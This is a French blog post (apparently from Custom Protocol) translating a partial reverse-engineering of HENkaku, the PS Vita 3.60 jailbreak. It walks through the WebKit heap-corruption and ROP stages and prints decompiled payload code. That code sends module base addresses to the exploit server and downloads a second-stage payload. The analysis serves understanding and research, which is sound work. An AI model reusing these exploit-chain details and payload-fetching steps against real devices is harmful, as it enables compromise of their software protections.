Ces explications, les voici, comme d'habitude traduites en français (à mon plus grand malheur xD) ! Attention, c'est technique.

Première étape : l'exploit du navigateur

Appuyer sur le bouton "Install" du site d'HENkaku résulte en un simple check de l'user agent. Si l'user agent détecté correspond avec celui d'une PS Vita ou d'un PS TV en 3.60, l'utilisateur est automatiquement redirigé vers http://go.henkaku.me où l'exploit est déployé.

L'exploit réutilise des éléments de plusieurs anciens exploits publics (heap spraying method, sort() bug, scrollLeft attribute manipulation) et les combine avec une nouvelle technique de corruption de tas (NDA : heap corruption en anglais, je savais pas trop comment le traduire ^^).

La Team Molecule a renommé les variables et les méthodes pour fournir une simple couche d'obfuscation sur le code HTML.

Vous pouvez trouver le code partiellement reversé (concentré sur les parties cruciales) ici : http://pastebin.com/bYA4xGaQ

Comme d'autres anciens exploits, HENkaku permet de corrompre la vtable d'un objet et de faire un ROP dans le module SceWebkit. Les offset pour les librairies et les gadgets ROP sont récupérés depuis un fichier javascript (http://go.henkaku.xyz/payload.js) pendant la dernière étape de l'exploit.

La Team Molecule a implémenté une méthode dynamique pour transférer les gadgets et les fonctions des offset pour chaque module une fois leur adresse de base trouvée (en regardant dans SceWebkit).

Seconde étape : ROP payload 1

À ce moment, l'exploit du navigateur a arrangé l'espace de la mémoire pour lancer le premier ROP payload qui est reconstruit à partir du fichier payload.js.

Le fichier payload.js contient deux arrays, une contenant les données du payload et l'autre le type de relocation pour chaque mot.

En croisant ces informations, l'exploit lit le payload et relocalise tous les offset du code vers l'adresse de module cible en ajoutant l'adresse de base du module :

        Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed.
	Relocation type 1 -> Offset inside the ROP payload's stack.
	Relocation type 2 -> Offset inside the SceWebkit module.
	Relocation type 3 -> Offset inside the SceLibKernel module.
	Relocation type 4 -> Offset inside the SceLibc module.
	Relocation type 5 -> Offset inside the SceLibHttp module.
	Relocation type 6 -> Offset inside the SceNet(?) module.
	Relocation type 7 -> Offset inside the SceDriverUser(?) module.

Le payload reconstruit peut être trouvé ici : https://www.sendspace.com/file/mwpeut

Et une analyse de ce fameux payload ici : http://pastebin.com/gxc0cX1i

Le payload s'occupe de différentes choses, comme par exemple :

	// Do stuff	
	...
	// Create a new thread for the second payload
	int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);
	
	// Do stuff
	...
	// Construct the arguments for fetching the second payload
	strcpy(stack_base + 0x000000BC, "http://go.henkaku.me/x");
	snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);
	strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
	snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);
	strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
	snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);
	strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
	// Do stuff
	...
	// Send HTTP requests to fetch the second payload
	SceLibHttp_92fd(0x00010000);
	int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
	SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);
	int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);
	SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
	SceLibHttp_9983(http_req);
	// Do stuff
	...

Après le premier payload fini, un requête HTTP est envoyée au serveur en utilisant le template suivant : http://go.henkaku.me/x?a1=stack_base&a2=webkit_base&a3=libkernel_base&a4=libc_base&&a5=libhttp_base&a6=net_base&a7=driveruser_base&
Par exemple : http://go.henkaku.me/x?a1=89f02000&a2=81b009a0&a3=e000dd00&a4=811c0cc0&&a5=e0607c80&a6=e01302b0&a7=e0047bf0&

Le script "x" côté serveur collecte l'adresse de base de chaque module et génère un second payload qui sera lancé sur Vita.

Troisième étape : ROP payload 2

Le second payload est composé d'une autre chaîne ROP et de code ARM obfusqué.
Une analyse préliminaire de ce payload révèle des choses intéressantes :

	strcpy(stack_base + 0x000086B4, "sdstor0:");
	strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");
	// Do stuff
	...
	strcpy(stack_base + 0x000086E4, "molecule0:");
	SceLibKernel_a4ad("molecule0:");
	SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);
	
	// Do stuff
	...
	int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);	
	SceLibKernel_a791(thread1_id, 0x7C);
	
	// Do stuff	
	...
	
	int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
	// Do stuff
	...
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	
	// Do stuff
	...
	
	SceNet_27E1("sss", 0x00000002, 0x00000001);	
	SceNet_27E1("tst", 0x00000002, 0x00000007);	
	SceNet_27E1("tmp", 0x00000002, 0x00000001);
	// Do stuff
	...

À suivre...

~ H.

Si vous n'avez rien compris, sachez que c'est normal, nous non plus. Ça prouve que c'est bien assez complexe et sécurisé xD

Mais quel est l'intérêt de reverse enginerer (oui, c'est français ! Enfin...) HENkaku ? Et bien il pourrait en ressortir un portage sur d'autres versions du firmware, mais aussi pouvoir héberger HENkaku n'importe où : en local bien sûr, mais aussi sur d'autres sites internet au cas où un incident surviendrait.

Que des bonnes choses, non ? Et bien en fait pas tout à fait... En effet, au moment où nous écrivons ces lignes, les ingénieurs en sécurité de Sony (mais si, vous savez, les seuls personnes de la boîte a avoir fait leur taf sur la Vita !) sont sûrement en train de chercher à comprendre comment HENkaku fonctionne, et surtout comment le patcher. Si quelqu'un arrivait à le reverse enginerer, Sony en profiterait !

L’article [VITA] HENkaku partiellement décrypté ! est apparu en premier sur Custom Protocol.